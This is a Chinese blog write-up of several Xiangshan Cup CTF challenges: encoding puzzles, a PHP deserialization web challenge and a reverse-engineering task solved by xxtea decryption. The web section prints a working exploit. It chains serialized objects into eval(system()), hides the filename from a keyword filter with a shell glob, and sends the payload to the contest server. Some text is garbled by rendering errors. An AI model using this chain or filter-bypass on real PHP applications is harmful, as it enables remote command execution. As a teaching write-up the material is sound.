第三届香山杯WRITEUP

签到

base64解码
然后凯撒解码
image.png

flag值:flag{we1c0m3_2_Ctf}

pintu

pintu.7z
香山杯 PINTU WP.pdf

Web

PHP_unserialize_pro

  1. Welcome 类:这是一个简单的类,包含一个 n a m e ∗ ∗ 属性,以及一个 ∗ ∗ name** 属性,以及一个 ** name属性,以及一个arg 属性,构造函数和析构函数。
  2. G00d 类:这是一个可调用类,包含 s h e l l ∗ ∗ 和 ∗ ∗ shell** 和 ** shellcmd 属性,以及一个 __invoke 方法。在 __invoke 方法中,它使用 eval 函数执行了 s h e l l ( shell( shell(cmd),其中 s h e l l ∗ ∗ 是来自 ∗ ∗ shell** 是来自 ** shell是来自shell 属性的函数,而 c m d ∗ ∗ 则来自 ∗ ∗ cmd** 则来自 ** cmd则来自cmd 属性。还要注意,它有一个正则表达式检查来阻止执行包含 flag、***** 或 ? 的命令。
  3. H4ck3r 类:这是另一个类,包含 KaTeX parse error: Expected group after '_' at position 16: func** 属性,以及 **_̲_toString** 方法。…func 属性中的函数。

为了利用这个漏洞,你需要构造一个序列化的数据,其中包含 G00d 类的实例,以便触发 __invoke 方法执行任意代码。同时,你需要绕过正则表达式的检查,以便执行包含 flag、***** 或 ? 的命令。
参考NKCTF2023http://blog.xmcve.com/2023/03/27/NKCTF-2023-Writeup/

<?php
class Welcome{
    public $name;
    public $arg = 'welcome';
    public function __construct(){
        $this->name = 'Wh0 4m I?';
    }
    public function __destruct(){
        if($this->name == 'A_G00d_H4ck3r'){
            echo $this->arg;
        }
    }
}

class G00d{
    public $shell="system";
    public $cmd='sort /[!q]1[!q][!q]';
    public function __invoke(){
        $shell = $this->shell;
        $cmd = $this->cmd;
        if(preg_match('/f|l|a|g|\*|\?/i', $cmd)){
            die("U R A BAD GUY");
        }
        eval($shell($cmd));
    }
}

class H4ck3r{
    public $func;
    public function __toString(){
        $function = $this->func;
        $function();
    }
}


$hacker= new H4ck3r();
$hacker->func = new G00d();

$welcome = new Welcome();
$welcome->name=$hacker;
$welcome->arg='A_G00d_H4ck3r';


$data=serialize($welcome);
echo urlencode($data);

$url = 'http://eci-2zedr0bd2zkzd0spqigu.cloudeci1.ichunqiu.com/'; // 替换成目标网站的URL
$data = ['data' => $data];
$response = file_get_contents($url . '?' . http_build_query($data));

// 输出响应
echo $response;
?>

image.png
flag{b5e0e15a-4066-4dc5-89f5-3fb796cd712a}

RE

hello_py
关于写hello_py:
下载下来
image.png
右键用文本方式打开:
image.png
发现开头是zip标准开头
修改格式为zip
image.png
解压得到内部文件:
然后把里面的文件用txt都打开看一遍。
发现部分文件imy和so后缀的文件用txt文本打开发现都有上述pk开头
全部改成zip并且解压就可以找到一堆pyc文件
image.png
以及
一个特殊文件(一开始打开看一眼发现没flag就走了。后面想了下才觉的不对毕竟是唯一一个符合题目名字的文件):
image.png
里面写着是hello.py的文件
解压出来是:
image.png
打开里面是这样子的;
image.png
image.png
一堆奇奇怪怪的编码。想了半天发现了这有些地方存在混淆,并且发现了xxtea的特征和密钥密⽂
image.png
image.png
image.png
写脚本;

#include <stdio.h>
#include <stdint.h>
#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))
void btea(uint32_t *v, int n, uint32_t const key[4]) {
	uint32_t y, z, sum;
	unsigned p, rounds, e;
	if (n > 1) 
	/* Coding Part */ {
		rounds = 6 + 52/n;
		sum = 0;
		z = v[n-1];
		do {
			sum += DELTA;
			e = (sum >> 2) & 3;
			for (p=0; p<n-1; p++) {
				y = v[p+1];
				z = v[p] += MX;
			}
			y = v[0];
			z = v[n-1] += MX;
		}
		while (--rounds);
	} else if (n < -1) 
	/* Decoding Part */ {
		n = -n;
		rounds = 6 + 52/n;
		sum = rounds*DELTA;
		y = v[0];
		do {
			e = (sum >> 2) & 3;
			for (p=n-1; p>0; p--) {
				z = v[p-1];
				y = v[p] -= MX;
			}
			z = v[n-1];
			y = v[0] -= MX;
			sum -= DELTA;
		}
		while (--rounds);
	}
}
int main() {
	uint32_t v[9]= {
		689085350 ,626885696 ,1894439255 ,1204672445 ,1869189675 ,475967424 ,1932042439 ,1280104741 ,2808893494
	}
	;
	uint32_t const k[4]= {
		12345678 ,12398712 ,91283904 ,12378192
	}
	;
	int n= 9;
	btea(v, -n, k);
	for (int i=0;i<9;i ++) {
		printf("%c",v[i] & 0xff);
		printf("%c",v[i] >> 8 & 0xff);
		printf("%c",v[i] >> 16 & 0xff);
		printf("%c",v[i] >> 24 & 0xff);
	}
	printf("\n");
	return 0;
}

flag{c1f8ace6-4b46-4931-b25b-a1010a89c592}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 4
    评论
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Fab1an要努力~

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值